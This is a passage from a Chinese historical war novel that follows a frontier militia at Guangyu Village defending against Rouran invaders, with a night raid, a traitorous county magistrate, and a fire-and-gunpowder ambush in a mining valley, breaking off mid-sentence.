巳时刚过,曹可用就跑进团练公所来找宋启愚。他先命几个寨兵把住大门,又把屋里的几个哨长都请了出去。他倒了一大碗茶水,一饮而尽,兴冲冲地说:“那几个柔然兵有两个都是孬种,咱只用了几种手段,他们就什么都说了。”曹可用拿出一份口供递给宋启愚说:“这份十夫长的口供最有价值。这几个柔然人属于乞浑部,是战斗力最强的部族之一。该部这次来了六百兵马,被编入右军叶户的军队里。右军共有四十一部一万五千人。柔然的中路由乌利可汗率领,除了两万近卫部队外,还征集了五十多个部族的骑兵,总兵力五万五千多人。其左军配置情况不明,但大体上应与右军相当。而且据我所知,柔然能够征集的部族不超过二百个,他们这次已经动用了一半以上的主力南下。”宋启愚思索着说:“这跟我之前的判断是一致的,还有重要信息吗?”曹可用指了一下口供说:“最重要的是这个。乞浑部刚刚接到命令要与另外十部到山阴县以北的马营山集结。他们的目标是伺机攻击山阴和应县县城。柔然这支部队现在只到了四部,不到两千人,而且互不统属,人员之间也不熟悉。宣道,咱有个想法,不知道合不合适……”宋启愚举手制止住曹可用,压低声音说:“你是想——暗夜偷营。”二人对视的一刹那,都忍不住哈哈大笑。 宋启愚立即叫来董阳,命令他和曹可用带领两哨骑兵向西绕道,偷袭马营山。 经过一天静密地行军,第二天晚上戌正,两哨光裕子弟到达了马营山附近。曹可用让董阳把部队带到一片山林中隐蔽,他自己则带着两个亲兵悄悄溜上山坡侦查敌情。过了大半个时辰,曹可用回来先跟董阳碰了碰头,然后召集众人把情况做了说明。为了防止误伤自己人,董阳命令所有人都在手臂上扎上白色布条,并说:“待会儿曹爷会和两个弟兄装扮成柔然人大摇大摆地接近敌营。待他们解决了岗哨,我们就全军冲进去。‘裕’字哨在左,‘平’字哨在右,一直往前杀,听到哨音回马再杀。听到长哨马上撤退,谁也不许迟慢。记住是哨响回马,长哨撤退。”已经换好了装束的曹可用环视着大家,补充道:“我们只有一刻钟时间,敌众我寡,不能让柔然人反应过来。我们速度越快,伤亡就越小。你们要把平时训练的东西用到实战中,回了寨子我请兄弟们喝酒。”最后,董阳把大手一挥,坚定地说:“兄弟们,出发。” 子时的马营山明月如灯,异常静谧。除了几个巡逻和望哨的士兵外,其他柔然官兵都已在各自的毡包沉沉睡去。曹可用一手握着缰绳,一手举着火把,摇头晃脑地哼着小调,信马由缰地来到鹿柴前面。两个柔然哨兵早就看到他们了,张口问道:“什么人?口令?”曹可用不慌不忙地用柔然话答对:“我是古贺察部的扎布罗。塔克罕(首领)命我们打草谷,昨天刚接到更改的命令,到这里集合。我哪里知道今天的口令呀。”曹可用一边说一边慢慢往前凑。哪知道两个柔然哨兵并不买账,厉声说:“站住,你们古贺察人还没来呢。我们也没有接到指令,不能放你们进去。”曹可用跳下战马,用手拍了拍马上的褡裢,一块金锭从褡裢里蹦了出来,曹可用赶忙捡起来,又放进褡裢里,嘻嘻一笑说:“不要这样吗!你们不想知道在哪里能找到这些好东西吗?”两个哨兵眼见一大笔财富放在面前,左右瞅了瞅,轻轻挪开鹿柴走了过来。曹可用装模作样地打开褡裢。就在两个哨兵向褡裢里探头的一瞬间,曹可用手起刀落将两人砍翻在地。 “冲呀。”随着董阳一声令下,一百多名勇士策马杀进了柔然营寨。顷刻间,柔然营垒一片大乱,到处是惨叫,处处是火光。有些柔然兵在睡梦中被杀,有些柔然人刚冲出毡包就被砍倒,还有些马匹被烧得到处乱窜,践踏营帐,夜幕下的战场宛若人间地狱。伴着短促的哨音,光裕寨的战士们又反身杀回。就在柔然人举足无措的时候,一声长长的哨音划过天迹,转瞬间,两哨骑兵旋马而走,呼啸着撤离了敌营。 第二回3 将星试翼 董阳和曹可用率领部队一口气奔出了三十多里,才驻马点查。这次偷袭可谓大获全胜,除了战死一人外,只有六七个寨卒受轻伤,众人无不欢呼雀跃。 对于宋启愚来说,这两天显得异常漫长。三更已过,他一个人在团练公所实在睡不着,就叫人把吴襄和席军民请来,仔细推演自己的作战方案。宋启愚对席军民说:“国栋,太公已经要求全寨壮年男丁参加团练,组建‘承、公、佐、佑、弘、义、尚、贤’八哨。从明天开始,你负责对这些人登记编队和训练。”席军民爽快地答应道:“包在我身上。这里面有不少人年少时就在团练军里服役,我的‘民’字哨还可以帮着训练他们。”宋启愚转向吴襄说:“长白,眼看要打大仗了,你这几天带人帮着寨外住户迁居城内。然后,我把‘前、后’两哨交给你,你负责沿河这条道路和山道的布防任务。另外,向大同、应县、雁门等地派出哨探我会让曹可用负责。以后,团练军要全天备战,不许缺员。”吴襄也点头应承了下来。眼看到了卯时,宋启愚望着地形图呆呆地说:“不知道光照他们是否已经成功,伤亡情况如何。”屋子里的气氛沉重下来,三个人都沉默了。恰在此时,公所外面的岗哨喊道:“是谁?” “余允文。” 听到这个名字,宋启愚先是打了个冷颤,继而以拳击掌高兴地说:“哎,我怎么把他给忘了呢!快随我出去接先生。”三人打开房门,走出庭院,快步来到团练公所门口。一个青巾蓝衫、瘦弱枯干的中年男人站在门前。他一手提着灯笼,一手拎着黑布笼子,正笑眯眯地看着出来的三人。 宋启愚走到余允文面前,一躬到地说:“余先生,学生给您请安了。”吴襄和席军民也有样学样地鞠躬施礼。余允文赶紧扶住宋启愚说:“宣道施礼我可承受不起,若论年齿我长你许多,但若论功名我只比你早一年考中秀才,到文庙教授你们三个也只有半年时间,称先生实不敢当。”宋启愚诚恳地说:“余先生不是迂腐读死书的人,所以功名成的较晚,但每遇大事先生都有非凡见解,这一点连太公都是认可的。再说我们都有驯养动物的爱好,意趣相投,早已是知己,先生不要客气。”余允文略一拱手,严肃地说:“我猜想今晚我不来,明天你也一定会去找我。不用客套了,我此来是有正事告知。”说完,也不等宋启愚几人相让,余允文就迈步走进了团练公所。 待进得屋来,余允文劈头就说:“我团练军子时发动攻击,全胜而归,毙伤柔然兵千余人、战马千余匹,我仅阵亡一人,轻伤数人。”吴襄和席军民大为不解,纷纷说道:“余先生,三百多里外的事情,你是怎么知道的?这是真的吗?你是在消遣我们吧。”吴襄首先反应过来,但旋即否定说:“信鸽,余先生养的鸽子。哎,不对呀,鸽子晚上不会飞呀!”余允文不紧不慢地把灯笼放到桌子上,举起手中的黑布笼子说:“宣道相马的本事你们都知道,可要说怎么训鸽子就得看我的了。这笼子里装着的是我专门夜翔出来的信鸽,暗夜只要有星光它就能报信。”宋启愚惊喜地捧起鸽笼,轻轻拉开黑布罩子,一只健壮的白鸽警觉地立了起来。它瞪着眼睛扭动着脑袋看着周围的人物,喉咙里还发出“咕、咕”的轻叫声。宋启愚仔细端详着白鸽,不住地赞叹:“它可真漂亮,体态健硕,飞羽油亮,先生养信鸽真是绝了。不过,我去您家看鸽子不是一回两回啦,您好像没提到过它呀?”席军民也说:“是啊,我还跟宣道去玩过一次呢。”余允文笑着说:“它和小黑可是我的宝贝,几百只鸽子里面也就训出这么两只,怎么会轻易示人呢。”余允文接着说:“我的长子余天锡在团练的‘平’字哨当差,昨天出发前给我要了它去,叮嘱我接报回信。我跟你们一样也是彻夜未眠呐。”宋启愚拉着余允文请他坐下,兴奋地说:“有了先生的信鸽,我们就变成了千里眼、顺风耳,这下保卫光裕的胜算更大了。”宋启愚又给余允文作了个揖说:“先生,以前您也多次给我的团练军教授过识字课,但那都是临时的。现在我请求您正式加入团练,帮我参赞军务。您能答应吗?”余允文坚毅地点了点头说:“十几年前,我携妻儿投奔光裕寨,得以生存、读书、中功名、养意趣,受宋氏大恩,无以为报。我今夜此来,就是想为光裕出力,加入团练,求之不得。”宋启愚紧紧握着余允文的手,久久不肯松开。 日上三竿,柔然军队对大同城的头次进攻失败了。乌利可汗端坐在马上,面无表情地一晃鞭子,又有几百名骑兵旋风般地扑向了大同北门。这些兵士都用两腿控制着战马,手执弯弓,不停地抽箭发射。箭矢飞过护城河,雨点般倾泻在城墙和城楼内外。柔然人的辅助部队推动着笨重的器械,准备在护城河上架设浮桥。与此同时,城里抛石机发出的几十个火球从天而降,或把柔然兵砸得人仰马翻,或把攻城器械砸得枝断架裂,或是砸在地上划出一道道火线。 这时,一个柔然骑手飞马来到乌利可汗近前翻身下马,紧跑几步,跪倒行礼。他手托一份羊皮文扎呈送给可汗。乌利可汗用手里的铁蒺藜骨朵把文扎挑过来,审视了一遍,铁青着脸回手就是一下。报信士兵被铁蒺藜骨朵砸得脑浆迸裂,当场毙命。旁边服侍的随从赶紧上来把死尸拖了下去。乌利可汗用马鞭指划着叫过两个大臣,对他们交代了一番。两大臣施礼后,骑马离去。 正午,光裕寨西街的福星居内,参与偷袭柔然营垒的团练军坐满了十几张八仙桌。人们喝酒吃肉、猜拳行令、大说大笑、吹牛起哄,气氛非常热烈。宋启愚为大伙贺完功、挨桌敬完酒之后,稍作停留,便叫着曹可用离开酒楼,匆匆向内北门走去。宋启愚边走边说:“启南是堂叔的幼子,连亲还没成呢,就这么走了。堂叔一家这会儿不知道伤心成什么样子了。启南的后事咋处理的,入殓了吗?”曹可用回答说:“已经安排好了,我带人料理的。老太公还吩咐大老爷代表他前去抚慰,估计现在已经在灵堂了……” 内城东北角一所院落内高搭灵棚,大门上挂着白幡,院内传出凄惨的哭声,几个寨卒在大门前支应着。宋氏族人和街坊邻居不时有人前来吊唁。宋家大老爷宋祥仁命儿子启智和侄子启元在灵棚内招呼着,自己则到东厢房劝解堂兄和堂嫂。这时,一个寨卒在门前喊道:“团练和曹爷来了。”宋启智赶紧跑出去把哥哥接进来。宋启元拿过长香递给二人。宋启愚焚香在手,站在棺木前深施一躬,嘴里叨念了一番,起身将燃香插在香炉中,然后问:“大哥,堂叔、堂婶在哪里?”宋启元边向旁边让着边说:“二弟,你父亲正在屋里陪着呢。”宋启愚进屋看见堂叔和堂婶倒身就拜,悲怆地说:“我对不起您二老呀,不该派兄弟去呀。”堂叔急忙把宋启愚搀起来,掉着眼泪说:“这咋能怪你呢。咱们宋家祖祖辈辈为国守边,战死的也不止启南一个。他是宋家人,得守这个本分。”宋大老爷扶着堂兄重新坐下,对宋启愚说:“儿啊,你叔婶都是明理的人。光裕寨有难,咱们宋氏肯定都会拼命一搏。现在咱们就该把启南的丧事办好,让他风风光光的下葬。”宋大老爷又转脸对堂哥、堂嫂说:“我来的时候,太公已经准许把启南的牌位供入祠堂,和其他战死的祖辈一块享受世代祭祀。”在宋氏族人眼中,能被供入宗祠是件无比荣光的事情。一对老夫妻被感动的涕泪横流,甚至欲图下拜相谢。宋大老爷赶紧扶住他们,口称:“使不得,使不得,族里应当这么办。”等堂叔、堂婶重新落座,宋启愚说:“启南走了,但他给家里的供养不能断,宗族产业每年的收入里面都有启南兄弟一份,这件事我爹就能做主。”宋大老爷点头说:“这个当然,每年的粮米和抚恤银子我交代你三叔去办。不能让战死的英雄不安心。”宋启愚又看了一眼屋里其他的人,对众人说:“启南一走,堂叔家里就剩下启东一个男丁。我想出一个告示,凡是家中有人为国捐躯、战死沙场的,家里其他兄弟可以免于服役,不再上战场。这个想法我还没有跟太公商量,但我想太公会同意的。” 这时,曹可用也进了屋,跟大伙讲述了宋启南英勇作战的过程,在场的人无不扼腕痛惜、悲伤落泪。 第三回1 将星闪耀 招兵告示贴出后,整个光裕寨都动了起来。次日上午,童道生和宋启智结伴来找宋启愚,想加入团练军。当他们跨进团练公所的时候,发现十几名宋氏子弟围在屋内,只听中心位置的宋启愚说:“承平、承泰呀,不是我不收你们,你俩才十五岁,过一两年等你们长大了,我一定让你们进团练,好不好。还有启民,你是家里的独子,你来我这儿,七婶谁照顾。启同、启方和承杰还行,你们去找席军民入册吧……”见童道生他们进来,宋启愚让余允文接待其他族人,自己抽身请兄弟和童道生到里屋坐。听明来意后,宋启愚想了想说:“兄弟呀,你本领不差,年纪不够,本来不能入团练。但是,现在急需用人,我特殊任命你为亲兵五长,保护太公安全。从开战之日起,你要寸步不离地跟着太公,守城的任务交给你了。你找席军民领完服装后再来找我,我一会儿教教你怎么打仗。”宋启智原本对安排不太满意,但听说哥哥要教自己本事,也就没再坚持,答应后嘟囔着出去了。宋启愚又转脸对童道生说:“我看小先生也不够十六岁吧。”童道生脸一红,咬了咬嘴唇说:“学兄,过了年我便够年龄了。现在大战在即,我与贼兵有杀父之仇、灭门之恨。只要能为抗击柔然做点事情,我情愿肝脑涂地,粉身碎骨。请宣道先生收我入团练军。”说着,童道生就欲跪地请求。宋启愚赶紧按住童道生说:“团练里也确实缺少写文、抄录和计量的人才,先生去找席军民报名吧,让他安排你跟着余允文负责文书和教习工作。你也可以习些枪棒用以防身。”童道生大喜,一躬到地,走了。 不多时,宋启智新换了寨卒服装,高高兴兴地回到团练公所。宋启愚拉着兄弟又叫上曹可用和董阳,先到马场看了看马匹和饲料储备情况,又到旁边的几座营房检查了各哨的战备,最后再叫着余允文的儿子余天锡,五个人五匹马离开光裕寨,顺着大路向北疾驰。 离光裕寨约莫十里,宋启愚勒住缰绳,问兄弟:“前面是什么地方?”宋启智不假思索地说:“焦炭谷哇,咱家的矿场不就在谷里吗。”宋启愚又问余天锡:“你家养的鸽子从五十里外飞到这里要多久?”余天锡回答说:“一刻钟工夫就能到。”宋启愚说:“以后天锡由‘平’字哨调任我的亲兵,专司传令联络。”他打马向前道:“跟我来,今天,我就带你们到矿上和北面玩一玩。”宋启智一边骑马跟着跑,一边问:“哥,你不是要教我怎么打仗吗,咋又变成出来玩了?”宋启愚也不答话,策马进了谷内。宋启智被山谷的凉风一吹,不由得打了个寒颤,他这才仔细观察周围地形。这条焦炭谷呈弯豆角形状,南北长约七里,东西宽的地方有三四十丈,但出入口及窄的地方仅宽七八丈,在山谷中间有一座属于光裕寨的露天煤矿,经过近百年的开挖,已将东西两侧的岩煤切削成了立陡悬崖。宋启智似乎明白了什么,转脸看着宋启愚,刚要张嘴。“嘘……”宋启愚制止他说:“看来你学会了,不要告诉任何人。”宋启愚又对董阳说:“过两天,光照带着部队跟我再来,我们要辛苦几天。”董阳笑呵呵地说:“没问题呀,咱最不怕的就是出力。你忘了,咱没进团练的时候还在矿上干过几个月的活儿呢。”曹可用打趣董阳说:“难怪你这么黑,被煤熏的吧。也怪不得你有钱,按寨子里的规矩,挖煤分红比种田高哇……”五个人在谷里勘察了近一个时辰,并继续向北“游乐”,日头偏西的时候才返回寨子。 截止九月十三日,短短的几天,席军民接收新兵,安排营房,供应后勤,分派人员,组织训练,忙得脚打后脑勺,终于从报名的人当中选出了四百五十名新兵,组建成了“承、公”等八个团练新哨。 十五日晌午,宋太公召集全寨主事人员和全部团练军在校场举行誓师大会。太公特意穿上当年自己做雁门关镇守时所穿的盔甲,精神抖擞地走上指挥台。他对大家说道:“父老乡亲们,我们光裕寨屹立在这片土地上二百多年了,祖祖辈辈的宋氏和光裕人都在为国守边。我们打败过突厥人、契丹人、奚人、沙陀人,为了不受他族奴役我们付出过巨大的牺牲。如今,柔然人打来了,我们能让那些畜生残杀我们的父兄、占领我们的家园、蹂躏我们的妻女吗?”“不能。打败柔然人!保卫光裕寨!”台下爆发出了海啸般的呐喊声。太公稍作停顿,接着说:“在场的所有人,或为宋氏子孙,或是几辈人在本寨生活,或是逃难无着蒙光裕庇佑,现在,光裕遭逢大难,我们别无退路,只有团结一心,打败柔然,才能保卫我们的家园。”“打败柔然!保卫家园!”台下又爆发出巨大的呐喊声。此时,太公本人也是热血沸腾。他环视着在场的光裕子弟,挥了挥手说:“看到你们,我想起了四十年前的自己,面对敌阵奋勇向前,枪林箭雨义无反顾。我多想提刀上马,杀敌立功,报效国家呀。我是真羡慕你们啊!”太公缓缓解下腰间佩刀,托在手里,深情地看了又看,唤到:“宋启愚。”“在!”宋启愚应答一声,大步走上指挥台。太公郑重地说:“宋启愚很好地完成了我五年前交付的任务,把团练军训练成了一支钢铁强军。现在,我正式把光裕寨的军政大权交给宋启愚。此刀自宋氏太祖流传至今,是号令光裕寨的凭证。我希望你配戴此刀指挥杀敌,保卫国家,保卫人民。”宋启愚跪倒在地接刀在手,流着泪说:“请太公放心,我定竭尽所能、克勤克慎,打败柔然,护卫桑梓。”太公把宋启愚扶起来,对台下又说:“从现在起,全寨所有军民包括我在内都要听从宋团练将令。新兵们要认真训练,团练军要奋勇杀敌,各执事要听从调配做好分内的事情,寨内百姓要安分少生事。现在,听宋团练训话。”宋启愚向前跨了一步,一手把战刀举过头顶,大声说:“前天,启东兄长写了血书要求参加团练军,为他兄弟报仇。我最后同意了。这叫‘打虎亲兄弟,上阵父子兵’。太公把佩刀交给我,我就一定带着全寨把柔然人打出去。我凭的不是别的,我就凭子弟拼命,光裕一心,我就凭柔然人不知道‘光前裕后’的厉害。”台下再次爆发出山呼海啸般的呐喊声…… 次日,宋启愚带着董阳和曹可用领了二百团练兵到焦炭谷,开始建造防御工事。按照宋启愚设计的图样,地面上的各种建筑很快搭建完成,真正艰难的是地面下的挖掘工作。这二百多人轮班苦干,象钻地鼠一样一点一点地在焦炭谷南北出口处掏挖着道路下面的煤山石,其中很多地方还要用火药爆破。 八十里外的应县此时早已人心惶惶,自打昨日山阴县被柔然军队围攻开始,应县便四门紧闭,禁止出入。应县县令陈昱是黄门侍郎陈标的儿子,早在十天前就以入朝报急的名义逃离了县城。城防司马张望成了应县的最高长官。此时,两名信差刚从公署出来,骑马往雁门关求救。张望则在公署大堂焦急地来回踱着步子。一个探报冲进公署,向张望报告说:“将军,攻打山阴的柔然军队约有五六千人,山阴西门今晨已被攻破。”张望神色黯淡,说道:“山阴守军两千,很难抵挡住柔然军。而我应县守军只有一千五百人,距离山阴不过几十里,又怎能守住呀!我是文举出身,不能投降,真的到了城破的时候,我一定要自杀殉国。”他挥挥手示意探报:“你去吧,再探。还有,把各营的管制都叫来,我要激励他们拼死守城。”探报应声起身,飞奔而去。张望又叫来一名亲兵,在叮嘱一番后,让他也去办差了。 未末时分,各营管制陆续来到公署衙门。张望请他们落座后,对他们说:“几十年来,我们受朝廷大恩,现在是报效国家的时候了。虽然我们城中只有一千五百名官兵,但是只要我们有必死的决心,就一定能守住县城,朝廷也一定会派大军增援我们。”说话间,张望命亲兵取过一个红布盖着的托盘。他轻轻揭开红布,凛然说道:“也许你们猜不出这是什么,请你们上前一步看看。”众人凑到托盘前一瞧,无不感动。原来托盘里放着的是一面锡牌,上刻“大周忠臣张望”字样,还有一块凿了孔的银子,系在牌子下面,银子上刻有一个说明“凡是找到我尸首的人,请代为埋葬并树碑祭祀,碑上题‘大周忠臣张望’字样。这块银子就作为埋葬、立碑的费用。”几位管制纷纷跪倒磕头说:“大人忠心,天日可表,我等定然竭力守城,死而后已。”此时,一个探报飞奔进来,高兴地说:“将军,柔然军队被赶出了山阴西门,山阴还在坚守中。”张望闻听大喜,伸手取过牌子挂在了自己胸前。他还命令众将昼夜警惕,守卫县城。 第三回2 将星闪耀 然而,两天后,败报传来,山阴县被柔然攻陷,县令殉国,守城将士也多半战死。张望接报后,第一时间登上城墙,鼓励士兵为国尽忠。人们听后,都对这位大忠臣心生敬佩,为张望的正气感伤涕零。 到了九月底,在经过几天的攻击后,柔然大军最终攻破了应县。混乱之中,没有人看到张望。大家猜测,他十之八九已经战死。然而两天之后,张望竟然一身柔然装束骑着高头大马满脸喜色地跨进了应县县衙。后来,老百姓才知道,张望在敌军开始攻击的第一天便悄悄派出使节,主动投降了柔然。因他迎降有功,柔然统帅任命他为应县知县。 山阴县和应县失守的消息很快传到了光裕寨。由于在几条道路上,先后抓获了形迹可疑的人,所以,宋启愚判断,柔然大军即将对光裕寨采取行动。在这种情况下,他决定于次日晨在校军场发布作战命令。 一缕晨曦划破雾霭,照在了校场碉斗顶端挂着的“光裕”字大旗上;晨曦不断扩散,汇成一束一束的光柱,洒在寨墙、屏风、山地、树木和家家户户的房屋上,山寨也变成了明暗斑驳的巨幅彩墨画。身穿重甲的宋启愚稳稳地站在指挥台上。他拿起铁哨“嘟、嘟、嘟”的吹了三下。一队队团练兵打着各自的哨字旗在哨长的带领下,从周边营区跑步进入了校场,并相继站定在指挥台前。宋启愚向前跨出一步,清了清嗓音,朗声说道:“从誓师大会开始,我光裕寨便进入了战时状态。团练军没日没夜地强化训练、构筑工事,乡亲们加班加点地生产器械、囤积物资,现在,到了我们跟柔然人一较高下的时候了!你们愿不愿意跟着我去与柔然人决一死战?”“愿意!我们愿意跟着团练打败柔然!”台下所有的人都振臂高呼着。宋启愚挥手言道:“好!任何作战都要有严格的军纪。之前,我也多次向各哨宣讲过团练军规。席军民。”“在。”席军民抱拳出列。宋启愚威严地说道:“今天的头支将令交给你,命你组织执法队,对违反军规者严惩不贷。”“是。”席军民大声地回答道。宋启愚顿了顿,走下指挥台,给太公施了一礼说:“光裕寨是众人的根本,孙儿将二道令交给祖父。望太公率领‘民’字哨和新组建的‘公、佐、佑、弘、义、尚、贤’七哨严守城寨,确保后方。”太公恭恭敬敬地抱拳道:“得令。请团练放心。”宋启愚又走上指挥台,环视校场说:“三支令给吴襄。”“在。”吴襄抱拳出列。“命你率领‘前、后’两哨防卫沿河道路和西北山道。”吴襄应诺后一旁站立。“余允文。”余先生听点到自己,赶忙出列答道:“在。”宋启愚说:“战场信息瞬息万变,命你管理好文书,及时通报各部情况。”余允文也赶紧应承。宋启愚又唤过宋启元,说道:“兵马未动,粮草先行。五支令交给你,命你备足粮秣、器械,协助家翁管理好寨仓和各作坊,不得有误。”“是。”接着,宋启愚手抚佩刀,朗声说:“最后一支令给我自己,‘光、裕、永、保、太、平、丰、承’八哨跟着我到焦炭谷,与柔然人决一死战。本会结束后,要求各部立刻收拾行装,听命调动,今日未时全部进入战斗位置。”台下的所有人都抱拳躬身,高声回答道:“得令。” 夜幕降临时,八哨团练军已经进驻焦炭谷外。宋启愚把原先矿场的房子扩建成营地,安顿团练军住下。他安排好岗哨,带着曹可用、董阳到各营房巡视了一遍,才回屋休息。这一夜,他睡得很沉。他梦见北斗七星中的第六颗冲着他闪闪发光…… 翌日清晨,宋启愚分派好各哨,或让他们熟悉各自的战斗任务,或让他们搬运物资器械。然后,他叫上曹可用带着几个亲兵进入谷口开始检查前些日子构筑的各种工事。当他来到山谷北出口的时候,突然略有所思,自言自语道:“如果引火线受潮,怎么办?”旋即,宋启愚叫过曹可用,对他说:“可用,我想交给你一件最危险的任务,你是否愿意执行?”曹可用大大咧咧地说:“好兄弟,你就说吧,我啥时候怕过呀!”宋启愚抚着曹可用的背说:“柔然大军全部进入山谷后,断其归路是此战的关键。而我是打算用火药炸塌谷口实现这一目标的,故而我们前段时间已将道路下面挖空。但是,这么关键的点若只有一层保障,我难以放心。所以,我想让你带着两个人埋伏在山口附近,听闻信炮响,就与山崖上的人同时点燃引线,确保将敌人全部围歼于谷内。”曹可用满不在乎地说:“这有什么危险的,你就交给我好了。”宋启愚很庄重地说:“可用,千万不要大意。深沟炸出后,将敌人封在谷内的同时,也将你隔在了谷外,如果敌人有大批援军,那你就处在危险中了。即便敌人没有援军,被困的柔然人也会想尽一切办法向外突围,北面可只有你们几个人呀!”曹可用的表情也严肃起来。他用肯定的语气说:“好兄弟,能这样为哥哥考虑,你这个朋友没白交。我的亲生父母和我的养父都死在柔然人手上,这笔账也该算算了。这么关键的位置,这么危险的时候,除了我没有更合适的人选。你就放心交给‘夜猫子’吧。”宋启愚点了点头说:“好,需要哪些人、用什么东西你尽管开口,我让他们全力配合你。”曹可用想了想说:“再给我些桐油,等巨沟炸塌后,我在沟边也放火,即使柔然人想用人马尸体填沟,他们也出不来。”宋启愚坚定地说:“好兄弟,北面谷口就交给你了。我们现在回去,专等柔然人来钻火笼子。” 占领应县的柔然大军其实就是二十天前遭受光裕寨偷袭的那支部队。当时,乌利可汗接到败报勃然大怒,立即命令伯克忽而葛丹和察布两人前往接管军队,追查偷袭者,并增调十部骑兵加强该部兵力。忽而葛丹和察布到任后,斩杀了几十名在当晚负责警戒或怯战逃跑的兵将,并严敕各部迅速集结。他们只用了短短三天时间,就有效地把部队组织了起来。但他们却始终无法查出是什么人偷袭的马营山。其后,忽而葛丹和察布率军连续攻克山阴县和应县,前哨已经打到了雁门关下。 就在四天前,察布把张望叫到自己的营帐。张望刚刚跪倒就被察布拿下。当听说察布要斩了自己,张望被吓得魂飞魄散。他一边磕头,一边大叫着冤枉。察布走到他跟前,一脚把他蹬翻在地,阴着脸说:“你冤枉什么呀?你以为假投降我看不出来吗?”张望跪爬着说:“我是真心投降呀,伯克大人。是我命人打开的应县城门呀!我没有做过对不住大军的事情呀!”察布嘿嘿笑着,扬手把一块牌子扔在张望面前说:“这是什么?你不会不认识吧。”张望一看,正是自己做的“大周忠臣张望”锡牌。他满头冷汗,急忙磕头解释说:“大人,这都是小人糊弄他们的呀。”察布斜眼看着他说:“你分明是想糊弄我。取得我们的信任后,你好带着人偷袭我的大营,是不是?”张望一脸惊愕,旋即不住地磕头说:“小人冤枉呀!小人哪有那个本事。小人绝无此心呀!”察布一拍桌子,喝道:“住口,拉出去砍了。”张望眼看自己性命不保,也顾不得许多。他向前紧爬几步,哭着说:“大人只要能饶我性命,我可以把手下的应县降卒统统杀掉,以解您的疑虑。”察布万没想到眼前这个人如此无耻。他挥手让行刑军兵下去,眯缝着眼睛看着张望说:“今日中午,你去监刑。”张望知道自己保住了狗命,不住地扣头称谢,还保证要忠于柔然,忠于察布。察布突然又一拍桌子,喝问道:“十五天前,是谁带领军队夜袭的马营山?难道不是你吗?”原本已经放松下来的张望被吓得差点晕倒。他急忙磕头说:“此事与小人无关呀!我连知道都不知道这件事呀!”察布大声说:“我们向山阴派出的有探报,能够确认山阴没有出兵。那么马营山附近除了应县还有谁有这种力量敢于夜袭我军大营?”此时,张望的头已经磕出了血,他带着哭腔说:“小人确实不知。大人试想我连手下的几百降兵都能让大人杀掉,我怎么可能有异心呢。对,应该是雁门关守将韩通派出的军队,一定是他们。”察布的语气缓和了一些,说道:“事发后,乞浑部的塔克罕曾派出骑兵向雁门关方向追击了几十里,没有收获。张大人再好好想想,周围还有没有像样的军队?”张望拍着脑袋想了好一会儿,才说:“离本县八十里有个光裕寨,是个人口近万的大寨,养着几百寨兵。听说,他们祖上曾经打过仗,但那都是很久以前的事了,料想不该是他们偷袭的马营山。故此,属下还是认为袭击者来自雁门关和代州方向。”察布立即叫来前哨队长,命他向光裕寨派出骑兵进行侦查。 巳末时分,张望以部队改编为名,把七百余名应县降卒集中到了城东门的瓮城里。他还特别命人收缴了降卒的兵器,并骗他们说待改编完成后重新配发。午时三刻,张望面无表情地坐在城楼上。在眼看自己的旧部全都到齐后,他下令关闭了城门。顷刻间,城墙上的百名柔然士兵开弓放箭,肆意屠杀,瓮城内传出了凄惨的悲鸣声。 第三回3 将星闪耀 十月初一,乌利可汗向忽而葛丹和察布发布了攻击光裕寨扫清长城沿线的作战命令。忽、察二人不敢怠慢,除了派出一千兵力监视雁门关,又留下少量部队守卫山阴县和应县外,集结了三千余兵将浩浩荡荡地向光裕寨扑来。在路过龙潭军哨时,哨所的几十名周军一哄而散,根本没敢抵抗,其中,还有不少人被柔然兵当成活靶子射成了“刺猬”。忽而葛丹坐在马上撇了撇嘴,对察布说:“听说光裕寨没有官军只有几百民团。你瞧,中原的正规军尚且如此,民团就更不要提了。”察布也笑了笑说:“即使他们很强,也不可能挡住我们的三四千铁骑。不过,我听说他们寨子里的太公曾经做过雁门关的镇守,我们也不能太轻敌呀。”忽而葛丹呵呵一笑说:“也许你不知道,那个老头子现在应该有七十岁了,恐怕连站都站不稳了吧。命令部队快速进军,一举拿下光裕寨。咱们说好,谁先攻破敌寨,谁可以先挑选寨子里的财宝、牲畜和女人。” 信鸽将柔然大军到达龙潭军哨的消息迅速传回了光裕寨。宋启愚抽刀在手,命令各部按照预定方案进入阵地。只用了小半个时辰,四百多光裕子弟便在焦炭谷一带扎好了口袋。团练兵们既紧张又兴奋。他们静静地埋伏在崖顶或山谷出口处,一个个睁大眼睛,竖起耳朵,秉住呼吸,单等攻击信号的发出。 刚到未时,柔然前锋部队到达了焦炭谷北口。忽而葛丹亲自上前查看后,刚要下令前进。察布质疑道:“敌人如果在此处设下埋伏怎么办?”忽而葛丹大笑说:“若敌人是数千训练精良的部队,我会非常小心。但那个小寨子只有几百乌合之众,这条山谷又这么长,他们能奈我何呀!”察布又仔细看了看,自释说:“也是,我看这地上的煤灰很少有人踩踏,我们应该可以放心进军的。”两人骑马站在道边,催促部队迅速进谷。由于谷内地势平坦,在有些宽的地方,柔然骑兵甚至可以三四十骑并排突进。眼看前方谷口在望,忽而葛丹自负地对察布说:“怎么样,我说没有危险吧。今天,我们就能攻下光裕寨,各部也能发笔大财。” 就在这时候,谷外传来三声长长的哨音。随着哨声,十几名团练兵驱赶着马匹开始绞动两架巨大的转轮,“吱嘎”的声音响彻山谷,而谷口地面也应声裂开,下面露出一道幽暗的缝隙。忽而葛丹急忙命令部队向前冲击,试图抢夺谷口。但为时已晚,只听前方“轰隆隆”几声巨响,原本覆盖在通路表面的木排垮塌下去,留在谷口的是一条宽过十丈的竖陡深沟。正当先头的柔然兵“望沟兴叹”的时候,山谷外又传来一声信炮,焦炭谷两侧的崖壁上伏兵四起。团练兵们把早已准备好的滚木、箭弩、柴捆、烧着的桐油捅、点燃的火药箱雨点般地倾泻到柔然人头上。谷内的马匹因受到惊吓,乱窜乱撞,仅踩踏致死的柔然兵卒就达到了二三百人。忽而葛丹和察布见势不妙刚要下令撤退,就听北面传来了沉闷的炸响。此时,整条山谷里火光冲天,人的惨叫声、马的嘶鸣声、木石的轰隆声、火药的爆炸声此起彼伏、连绵不断;刺鼻的烟火味、焦糊的木炭味、腐肉的血腥味、排泄物的恶臭味弥漫得到处都是、令人作呕。还想控制部队的忽而葛丹大声呼喊着,并派出亲兵往各队传达命令。可是,混乱的局面、四处的烟火已经阻断了他的指挥。在抵抗一阵后,他不得不在几十名亲兵的保护下,一路踉跄地向焦炭谷北口逃去。然而,当忽而葛丹付出了巨大的代价终于逃到谷口时,迎接他的不是出路,而是一条宽八